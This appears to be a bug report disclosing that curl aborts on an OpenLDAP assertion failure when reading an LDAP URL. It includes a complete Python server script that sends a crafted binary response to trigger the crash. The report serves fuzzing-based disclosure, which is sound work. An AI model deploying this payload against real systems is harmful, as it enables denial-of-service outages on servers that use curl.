curl ASSERTs when accessing an LDAP URL

How it was found

Summary:

curl can crash when accessing an LDAP URL.

curl ldap://localhost:1388
curl: result.c:930: try_read1msg: Assertion `!BER_BVISEMPTY( &resoid )' failed.
Aborted (core dumped)

No AI was used in the production of this report. This was enabled by oss-fuzz, but initiated by me adding LDAP support to curl-fuzzer.

Affected version

This works for my system curl as well as master curl.

Steps To Reproduce:

Run this Python script:

#!/usr/bin/env python3
"""
Simple socket server that sends a specific binary response on port 1388.
"""

import socket
import logging
import sys

# Set up logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
log = logging.getLogger(__name__)

# The binary response to send
BINARY_RESPONSE = b'0%1\x01\x00x\x00\r\x00\x00\x00\x00\x00\x8a\x00\r\x00\x06\x00\r\x00\x00\x00\r\x00\x00\x00\x00\xc7\xc7\xc7\x9b\x80\xeb\x05123456\x00\x03\x00\x00\x00\tcn=d\x00\x10man'

PORT = 1388


def handle_client(client_socket, client_address):
    """Handle a single client connection."""
    try:
        log.info(f"Client connected from {client_address}")

        # Send the binary response
        client_socket.send(BINARY_RESPONSE)
        log.info(f"Sent {len(BINARY_RESPONSE)} bytes to {client_address}")

    except Exception as e:
        log.error(f"Error handling client {client_address}: {e}")
    finally:
        # Close the client socket
        client_socket.close()
        log.info(f"Connection closed for {client_address}")


def run_server():
    """Run the socket server."""
    # Create a socket
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Allow socket reuse
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    try:
        # Bind to the port
        server_socket.bind(('localhost', PORT))
        server_socket.listen(5)

        log.info(f"Server listening on port {PORT}")
        log.info("Press Ctrl+C to stop the server")

        while True:
            try:
                # Accept a client connection
                client_socket, client_address = server_socket.accept()

                # Handle the client in the same thread (simple approach)
                handle_client(client_socket, client_address)

            except KeyboardInterrupt:
                log.info("Server shutdown requested")
                break
            except Exception as e:
                log.error(f"Error accepting connection: {e}")

    except Exception as e:
        log.error(f"Error starting server: {e}")
        sys.exit(1)
    finally:
        server_socket.close()
        log.info("Server socket closed")


if __name__ == "__main__":
    run_server()

This runs a server on port 1388 which simply returns a binary response.

Then call curl:

curl ldap://localhost:1388
curl: result.c:930: try_read1msg: Assertion `!BER_BVISEMPTY( &resoid )' failed.
Aborted (core dumped)

curl asserts in OpenLDAP.

Impact

Summary:

If curl is being used on a server and an attacker can influence which URL is being passed to curl, and that URL can use the LDAP protocol, the server will crash, potentially causing outages.